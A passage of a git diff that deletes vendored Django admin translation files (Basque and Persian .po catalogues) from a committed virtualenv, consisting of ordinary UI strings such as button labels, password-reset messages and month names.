-msgstr "" - -msgid "Show all" -msgstr "Erakutsi dena" - -msgid "Save" -msgstr "Gorde" - -msgid "Popup closing…" -msgstr "Popup leihoa ixten..." - -msgid "Search" -msgstr "Bilatu" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "Emaitza %(counter)s " -msgstr[1] "%(counter)s emaitza" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s guztira" - -msgid "Save as new" -msgstr "Gorde berri gisa" - -msgid "Save and add another" -msgstr "Gorde eta beste bat gehitu" - -msgid "Save and continue editing" -msgstr "Gorde eta editatzen jarraitu" - -msgid "Save and view" -msgstr "Gorde eta ikusi" - -msgid "Close" -msgstr "Itxi" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Aldatu aukeratutako %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "Gehitu beste %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Ezabatu aukeratutako %(model)s" - -#, python-format -msgid "View selected %(model)s" -msgstr "" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "" - -msgid "Log in again" -msgstr "Hasi saioa berriro" - -msgid "Password change" -msgstr "Aldatu pasahitza" - -msgid "Your password was changed." -msgstr "Zure pasahitza aldatu egin da." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Mesedez, sartu zure pasahitza zaharra segurtasunagatik, gero sartu berria bi " -"aldiz, ondo idatzita dagoela ziurtatzeko. " - -msgid "Change my password" -msgstr "Nire pasahitza aldatu" - -msgid "Password reset" -msgstr "Berrezarri pasahitza" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Zure pasahitza ezarri da. Orain aurrera egin eta sartu zaitezke." - -msgid "Password reset confirmation" -msgstr "Pasahitza berrezartzeko berrespena" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "Idatzi pasahitz berria birritan ondo idatzita dagoela ziurta dezagun." - -msgid "New password:" -msgstr "Pasahitz berria:" - -msgid "Confirm password:" -msgstr "Berretsi pasahitza:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Pasahitza berrezartzeko loturak baliogabea dirudi. Baliteke lotura aurretik " -"erabilita egotea. Eskatu berriro pasahitza berrezartzea." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Zure pasahitza jartzeko aginduak bidali dizkizugu... sartu duzun posta " -"elektronikoarekin konturen bat baldin badago. Laster jasoko dituzu." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Posta elektronikorik jasotzen ez baduzu, ziurtatu erregistratu duzun " -"helbidean sartu zarela, eta zure spam horria begiratu. " - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Mezu hau %(site_name)s webgunean pasahitza berrezartzea eskatu duzulako jaso " -"duzu." - -msgid "Please go to the following page and choose a new password:" -msgstr "Zoaz hurrengo orrira eta aukeratu pasahitz berria:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "Zure erabiltzaile-izena, ahaztu baduzu:" - -msgid "Thanks for using our site!" -msgstr "Mila esker gure webgunea erabiltzeagatik!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s webguneko taldea" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Pasahitza ahaztu zaizu? Sartu zure helbidea behean, eta berria jartzeko " -"argibideak bidaliko dizkizugu " - -msgid "Email address:" -msgstr "Helbide elektronikoa:" - -msgid "Reset my password" -msgstr "Berrezarri pasahitza" - -msgid "All dates" -msgstr "Data guztiak" - -#, python-format -msgid "Select %s" -msgstr "Aukeratu %s" - -#, python-format -msgid "Select %s to change" -msgstr "Aukeratu %s aldatzeko" - -#, python-format -msgid "Select %s to view" -msgstr "Aukeratu %s ikusteko" - -msgid "Date:" -msgstr "Data:" - -msgid "Time:" -msgstr "Ordua:" - -msgid "Lookup" -msgstr "Lookup" - -msgid "Currently:" -msgstr "Oraingoa:" - -msgid "Change:" -msgstr "Aldatu:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/eu/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/eu/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 234bff63..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/eu/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/eu/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/eu/LC_MESSAGES/djangojs.po deleted file mode 100644 index e7d3ae54..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/eu/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,267 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Aitzol Naberan , 2011 -# Eneko Illarramendi , 2017,2022 -# Jannis Leidel , 2011 -# julen, 2012-2013 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2022-05-17 05:26-0500\n" -"PO-Revision-Date: 2022-07-25 07:59+0000\n" -"Last-Translator: Eneko Illarramendi \n" -"Language-Team: Basque (http://www.transifex.com/django/django/language/eu/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: eu\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s erabilgarri" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Hau da aukeran dauden %s zerrenda. Hauetako zenbait aukera ditzakezu " -"azpiko \n" -"kaxan hautatu eta kutxen artean dagoen \"Aukeratu\" gezian klik eginez." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Idatzi kutxa honetan erabilgarri dauden %s objektuak iragazteko." - -msgid "Filter" -msgstr "Filtroa" - -msgid "Choose all" -msgstr "Denak aukeratu" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Egin klik %s guztiak batera aukeratzeko." - -msgid "Choose" -msgstr "Aukeratu" - -msgid "Remove" -msgstr "Kendu" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s aukeratuak" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Hau da aukeratutako %s zerrenda. Hauetako zenbait ezaba ditzakezu azpiko " -"kutxan hautatu eta bi kutxen artean dagoen \"Ezabatu\" gezian klik eginez." - -msgid "Remove all" -msgstr "Kendu guztiak" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Egin klik aukeratutako %s guztiak kentzeko." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(cnt)s-etik %(sel)s aukeratuta" -msgstr[1] "%(cnt)s-etik %(sel)s aukeratuta" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Gorde gabeko aldaketak dauzkazu eremuetan. Ekintza bat exekutatzen baduzu, " -"gorde gabeko aldaketak galduko dira." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" - -msgid "Now" -msgstr "Orain" - -msgid "Midnight" -msgstr "Gauerdia" - -msgid "6 a.m." -msgstr "6 a.m." - -msgid "Noon" -msgstr "Eguerdia" - -msgid "6 p.m." -msgstr "6 p.m." - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Oharra: zerbitzariaren denborarekiko ordu %s aurrerago zaude" -msgstr[1] "Oharra: zerbitzariaren denborarekiko %s ordu aurrerago zaude" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Oharra: zerbitzariaren denborarekiko ordu %s atzerago zaude. " -msgstr[1] "Oharra: zerbitzariaren denborarekiko %s ordu atzerago zaude. " - -msgid "Choose a Time" -msgstr "Aukeratu ordu bat" - -msgid "Choose a time" -msgstr "Aukeratu ordu bat" - -msgid "Cancel" -msgstr "Atzera" - -msgid "Today" -msgstr "Gaur" - -msgid "Choose a Date" -msgstr "Aukeratu data bat" - -msgid "Yesterday" -msgstr "Atzo" - -msgid "Tomorrow" -msgstr "Bihar" - -msgid "January" -msgstr "urtarrila" - -msgid "February" -msgstr "otsaila" - -msgid "March" -msgstr "martxoa" - -msgid "April" -msgstr "apirila" - -msgid "May" -msgstr "maiatza" - -msgid "June" -msgstr "ekaina" - -msgid "July" -msgstr "uztaila" - -msgid "August" -msgstr "abuztua" - -msgid "September" -msgstr "iraila" - -msgid "October" -msgstr "urria" - -msgid "November" -msgstr "azaroa" - -msgid "December" -msgstr "abendua" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "urt." - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "ots." - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "mar." - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "api." - -msgctxt "abbrev. month May" -msgid "May" -msgstr "mai." - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "eka." - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "uzt." - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "abu." - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "ira." - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "urr." - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "aza." - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "abe." - -msgctxt "one letter Sunday" -msgid "S" -msgstr "ig." - -msgctxt "one letter Monday" -msgid "M" -msgstr "al." - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "ar." - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "az." - -msgctxt "one letter Thursday" -msgid "T" -msgstr "og." - -msgctxt "one letter Friday" -msgid "F" -msgstr "ol." - -msgctxt "one letter Saturday" -msgid "S" -msgstr "lr." - -msgid "" -"You have already submitted this form. Are you sure you want to submit it " -"again?" -msgstr "" - -msgid "Show" -msgstr "Erakutsi" - -msgid "Hide" -msgstr "Izkutatu" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fa/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/fa/LC_MESSAGES/django.mo deleted file mode 100644 index f56bede4..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fa/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fa/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/fa/LC_MESSAGES/django.po deleted file mode 100644 index 56a01609..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fa/LC_MESSAGES/django.po +++ /dev/null @@ -1,790 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Ahmad Hosseini , 2020 -# Ali Nikneshan , 2015,2020 -# ali salehi, 2023 -# Ali Vakilzade , 2015 -# Aly Ahmady , 2022 -# Amir Ajorloo , 2020 -# Arash Fazeli , 2012 -# Farshad Asadpour, 2021 -# Jannis Leidel , 2011 -# MJafar Mashhadi , 2018 -# Mohammad Hossein Mojtahedi , 2017,2019 -# Peyman Salehi , 2023 -# Pouya Abbassi, 2016 -# rahim agh , 2021 -# Reza Mohammadi , 2013-2014 -# Sajad Rahimi , 2021 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 11:41-0300\n" -"PO-Revision-Date: 2023-12-04 07:05+0000\n" -"Last-Translator: ali salehi, 2023\n" -"Language-Team: Persian (http://app.transifex.com/django/django/language/" -"fa/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: fa\n" -"Plural-Forms: nplurals=2; plural=(n > 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "حذف %(verbose_name_plural)s های انتخاب شده" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d تا %(items)s با موفقیت حذف شدند." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "امکان حذف %(name)s نیست." - -msgid "Are you sure?" -msgstr "آیا مطمئن هستید؟" - -msgid "Administration" -msgstr "مدیریت" - -msgid "All" -msgstr "همه" - -msgid "Yes" -msgstr "بله" - -msgid "No" -msgstr "خیر" - -msgid "Unknown" -msgstr "ناشناخته" - -msgid "Any date" -msgstr "هر تاریخی" - -msgid "Today" -msgstr "امروز" - -msgid "Past 7 days" -msgstr "۷ روز اخیر" - -msgid "This month" -msgstr "این ماه" - -msgid "This year" -msgstr "امسال" - -msgid "No date" -msgstr "بدون تاریخ" - -msgid "Has date" -msgstr "دارای تاریخ" - -msgid "Empty" -msgstr "خالی" - -msgid "Not empty" -msgstr "غیر خالی" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"لطفا %(username)s و گذرواژه را برای یک حساب کارمند وارد کنید.\n" -"توجه داشته باشید که ممکن است هر دو به کوچکی و بزرگی حروف حساس باشند." - -msgid "Action:" -msgstr "اقدام:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "افزودن یک %(verbose_name)s دیگر" - -msgid "Remove" -msgstr "حذف" - -msgid "Addition" -msgstr "افزودن" - -msgid "Change" -msgstr "تغییر" - -msgid "Deletion" -msgstr "کاستن" - -msgid "action time" -msgstr "زمان اقدام" - -msgid "user" -msgstr "کاربر" - -msgid "content type" -msgstr "نوع محتوی" - -msgid "object id" -msgstr "شناسهٔ شیء" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "صورت شیء" - -msgid "action flag" -msgstr "نشانه عمل" - -msgid "change message" -msgstr "پیغام تغییر" - -msgid "log entry" -msgstr "مورد اتفاقات" - -msgid "log entries" -msgstr "موارد اتفاقات" - -#, python-format -msgid "Added “%(object)s”." -msgstr "\"%(object)s\" افروده شد." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "تغییر یافت \"%(object)s\" - %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "\"%(object)s\" حدف شد." - -msgid "LogEntry Object" -msgstr "شئ LogEntry" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "{name} \"{object}\" اضافه شد." - -msgid "Added." -msgstr "اضافه شد" - -msgid "and" -msgstr "و" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "{fields} برای {name} \"{object}\" تغییر یافتند." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "{fields} تغییر یافتند." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "{name} \"{object}\" حذف شد." - -msgid "No fields changed." -msgstr "فیلدی تغییر نیافته است." - -msgid "None" -msgstr "هیچ" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"برای انتخاب بیش از یکی، کلید \"Control\"، یا \"Command\" روی Mac، را نگه " -"دارید." - -msgid "Select this object for an action - {}" -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} \"{obj}\" با موفقیت اضافه شد." - -msgid "You may edit it again below." -msgstr "می‌توانید مجدداً ویرایش کنید." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"{name} \"{obj}\" با موفقیت اضافه شد. شما میتوانید {name} دیگری در قسمت پایین " -"اضافه کنید." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"{name} \"{obj}\" با موفقیت تغییر یافت. شما میتوانید دوباره آنرا در قسمت " -"پایین ویرایش کنید." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "" -" {name} \"{obj}\" به موفقیت اضافه شد. شما میتوانید در قسمت پایین، دوباره آن " -"را ویرایش کنید." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"{name} \"{obj}\" با موفقیت تغییر یافت. شما میتوانید {name} دیگری در قسمت " -"پایین اضافه کنید." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} \"{obj}\" با موفقیت تغییر یافت." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"آیتم ها باید به منظور انجام عملیات بر روی آنها انتخاب شوند. هیچ آیتمی با " -"تغییر نیافته است." - -msgid "No action selected." -msgstr "فعالیتی انتخاب نشده" - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s·\"%(obj)s\" با موفقیت حذف شد." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s با کلید «%(key)s» وجود ندارد. ممکن است حذف شده باشد." - -#, python-format -msgid "Add %s" -msgstr "اضافه کردن %s" - -#, python-format -msgid "Change %s" -msgstr "تغییر %s" - -#, python-format -msgid "View %s" -msgstr "مشاهده %s" - -msgid "Database error" -msgstr "خطا در بانک اطلاعاتی" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s با موفقیت تغییر کرد." -msgstr[1] "%(count)s %(name)s با موفقیت تغییر کرد." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "همه موارد %(total_count)s انتخاب شده" -msgstr[1] "همه موارد %(total_count)s انتخاب شده" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 از %(cnt)s انتخاب شده‌اند" - -#, python-format -msgid "Change history: %s" -msgstr "تاریخچهٔ تغییر: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"برای حذف %(class_name)s %(instance)s لازم است اشیای حفاظت شدهٔ زیر هم حذف " -"شوند: %(related_objects)s" - -msgid "Django site admin" -msgstr "مدیریت وب‌گاه Django" - -msgid "Django administration" -msgstr "مدیریت Django" - -msgid "Site administration" -msgstr "مدیریت وب‌گاه" - -msgid "Log in" -msgstr "ورود" - -#, python-format -msgid "%(app)s administration" -msgstr "مدیریت ‎%(app)s‎" - -msgid "Page not found" -msgstr "صفحه یافت نشد" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "شرمنده، صفحه مورد تقاضا یافت نشد." - -msgid "Home" -msgstr "شروع" - -msgid "Server error" -msgstr "خطای سرور" - -msgid "Server error (500)" -msgstr "خطای سرور (500)" - -msgid "Server Error (500)" -msgstr "خطای سرور (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"مشکلی پیش آمده. این مشکل از طریق ایمیل به مدیران وب‌گاه اطلاع داده شد و به " -"زودی اصلاح می‌گردد. از صبر شما متشکریم." - -msgid "Run the selected action" -msgstr "اجرای حرکت انتخاب شده" - -msgid "Go" -msgstr "برو" - -msgid "Click here to select the objects across all pages" -msgstr "برای انتخاب موجودیت‌ها در تمام صفحات اینجا را کلیک کنید" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "انتخاب تمامی %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "لغو انتخاب‌ها" - -msgid "Breadcrumbs" -msgstr "" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "مدلها در برنامه %(name)s " - -msgid "Add" -msgstr "اضافه کردن" - -msgid "View" -msgstr "مشاهده" - -msgid "You don’t have permission to view or edit anything." -msgstr "شما اجازهٔ مشاهده یا ویرایش چیزی را ندارید." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"ابتدا یک نام کاربری و گذرواژه وارد کنید. سپس می توانید مشخصات دیگر کاربر را " -"ویرایش کنید." - -msgid "Enter a username and password." -msgstr "یک نام کاربری و رمز عبور را وارد کنید." - -msgid "Change password" -msgstr "تغییر گذرواژه" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "برای کابر %(username)s یک گذرنامهٔ جدید وارد کنید." - -msgid "Skip to main content" -msgstr "انتقال به محتوای اصلی" - -msgid "Welcome," -msgstr "خوش آمدید،" - -msgid "View site" -msgstr "نمایش وبگاه" - -msgid "Documentation" -msgstr "مستندات" - -msgid "Log out" -msgstr "خروج" - -#, python-format -msgid "Add %(name)s" -msgstr "اضافه‌کردن %(name)s" - -msgid "History" -msgstr "تاریخچه" - -msgid "View on site" -msgstr "مشاهده در وب‌گاه" - -msgid "Filter" -msgstr "فیلتر" - -msgid "Hide counts" -msgstr "" - -msgid "Show counts" -msgstr "نمایش تعداد" - -msgid "Clear all filters" -msgstr "پاک کردن همه فیلترها" - -msgid "Remove from sorting" -msgstr "حذف از مرتب سازی" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "اولویت مرتب‌سازی: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "تعویض مرتب سازی" - -msgid "Toggle theme (current theme: auto)" -msgstr "تغییر رنگ پوسته (حالت کنونی: خودکار)" - -msgid "Toggle theme (current theme: light)" -msgstr "تغییر رنگ پوسته (حالت کنونی: روشن)" - -msgid "Toggle theme (current theme: dark)" -msgstr "تغییر رنگ پوسته (حالت کنونی: تیره)" - -msgid "Delete" -msgstr "حذف" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"حذف %(object_name)s·'%(escaped_object)s' می تواند باعث حذف اشیاء مرتبط شود. " -"اما حساب شما دسترسی لازم برای حذف اشیای از انواع زیر را ندارد:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"حذف %(object_name)s '%(escaped_object)s' نیاز به حذف موجودیت‌های مرتبط محافظت " -"شده ذیل دارد:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"آیا مطمئنید که می‌خواهید %(object_name)s·\"%(escaped_object)s\" را حذف کنید؟ " -"کلیهٔ اشیای مرتبط زیر حذف خواهند شد:" - -msgid "Objects" -msgstr "اشیاء" - -msgid "Yes, I’m sure" -msgstr "بله، مطمئن هستم." - -msgid "No, take me back" -msgstr "نه، من را برگردان" - -msgid "Delete multiple objects" -msgstr "حذف اشیاء متعدد" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"حذف %(objects_name)s انتخاب شده منجر به حذف موجودیت‌های مرتبط خواهد شد، ولی " -"شناسه شما اجازه حذف اینگونه از موجودیت‌های ذیل را ندارد:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"حذف %(objects_name)s انتخاب شده نیاز به حذف موجودیت‌های مرتبط محافظت شده ذیل " -"دارد:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"آیا در خصوص حذف %(objects_name)s انتخاب شده اطمینان دارید؟ تمام موجودیت‌های " -"ذیل به همراه موارد مرتبط با آنها حذف خواهند شد:" - -msgid "Delete?" -msgstr "حذف؟" - -#, python-format -msgid " By %(filter_title)s " -msgstr "براساس %(filter_title)s " - -msgid "Summary" -msgstr "خلاصه" - -msgid "Recent actions" -msgstr "فعالیتهای اخیر" - -msgid "My actions" -msgstr "فعالیتهای من" - -msgid "None available" -msgstr "چیزی در دسترس نیست" - -msgid "Added:" -msgstr "اضافه شده:" - -msgid "Changed:" -msgstr "ویرایش شده:" - -msgid "Deleted:" -msgstr "حذف شده:" - -msgid "Unknown content" -msgstr "محتوا ناشناخته" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"در نصب بانک اطلاعاتی شما مشکلی وجود دارد. مطمئن شوید که جداول مربوطه به " -"درستی ایجاد شده‌اند و اطمینان حاصل کنید که بانک اطلاعاتی توسط کاربر مربوطه " -"قابل خواندن می باشد." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"شما به عنوان %(username)sوارد شده اید. ولی اجازه مشاهده صفحه فوق را نداریدو " -"آیا مایلید با کاربر دیگری وارد شوید؟" - -msgid "Forgotten your password or username?" -msgstr "گذرواژه یا نام کاربری خود را فراموش کرده‌اید؟" - -msgid "Toggle navigation" -msgstr "تعویض جهت یابی" - -msgid "Sidebar" -msgstr "ستون کناری" - -msgid "Start typing to filter…" -msgstr "آغار به کار نوشتن برای فیلترکردن ..." - -msgid "Filter navigation items" -msgstr "فیلتر کردن آیتم های مسیریابی" - -msgid "Date/time" -msgstr "تاریخ/ساعت" - -msgid "User" -msgstr "کاربر" - -msgid "Action" -msgstr "عمل" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "" -msgstr[1] "" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"این شیء هنوز تاریخچه تغییرات ندارد. ممکن است توسط این وب‌گاه مدیر ساخته نشده " -"باشد." - -msgid "Show all" -msgstr "نمایش همه" - -msgid "Save" -msgstr "ذخیره" - -msgid "Popup closing…" -msgstr "در حال بستن پنجره..." - -msgid "Search" -msgstr "جستجو" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s نتیجه" -msgstr[1] "%(counter)s نتیجه" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "در مجموع %(full_result_count)s تا" - -msgid "Save as new" -msgstr "ذخیره به عنوان جدید" - -msgid "Save and add another" -msgstr "ذخیره و ایجاد یکی دیگر" - -msgid "Save and continue editing" -msgstr "ذخیره و ادامهٔ ویرایش" - -msgid "Save and view" -msgstr "ذخیره و نمایش" - -msgid "Close" -msgstr "بستن" - -#, python-format -msgid "Change selected %(model)s" -msgstr "تغییر دادن %(model)s انتخاب شده" - -#, python-format -msgid "Add another %(model)s" -msgstr "افزدون %(model)s دیگر" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "حذف کردن %(model)s انتخاب شده" - -#, python-format -msgid "View selected %(model)s" -msgstr "نمایش %(model)sهای انتخاب شده" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "" -"از شما ممنون هستیم که زمان با ارزش خود را برای این تارنما امروز صرف کرده اید" - -msgid "Log in again" -msgstr "ورود دوباره" - -msgid "Password change" -msgstr "تغییر گذرواژه" - -msgid "Your password was changed." -msgstr "گذرواژهٔ شما تغییر یافت." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"برای امنیت بیشتر٬ لطفا گذرواژه قدیمی خود را وارد کنید٬ سپس گذرواژه جدیدتان " -"را دوبار وارد کنید تا ما بتوانیم چک کنیم که به درستی تایپ کرده‌اید. " - -msgid "Change my password" -msgstr "تغییر گذرواژهٔ من" - -msgid "Password reset" -msgstr "ایجاد گذرواژهٔ جدید" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "گذرواژهٔ جدیدتان تنظیم شد. اکنون می‌توانید وارد وب‌گاه شوید." - -msgid "Password reset confirmation" -msgstr "تأیید گذرواژهٔ جدید" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"گذرواژهٔ جدیدتان را دوبار وارد کنید تا ما بتوانیم چک کنیم که به درستی تایپ " -"کرده‌اید." - -msgid "New password:" -msgstr "گذرواژهٔ جدید:" - -msgid "Confirm password:" -msgstr "تکرار گذرواژه:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"پیوند ایجاد گذرواژهٔ جدید نامعتبر بود، احتمالاً به این علت که قبلاً از آن " -"استفاده شده است. لطفاً برای یک گذرواژهٔ جدید درخواست دهید." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"دستورالعمل تنظیم گذرواژه را برایتان ایمیل کردیم. اگر با ایمیلی که وارد کردید " -"اکانتی وجود داشته باشد باید به زودی این دستورالعمل‌ها را دریافت کنید." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"اگر ایمیلی دریافت نمی‌کنید، لطفاً بررسی کنید که آدرسی که وارد کرده‌اید همان است " -"که با آن ثبت نام کرده‌اید، و پوشهٔ اسپم خود را نیز چک کنید." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " 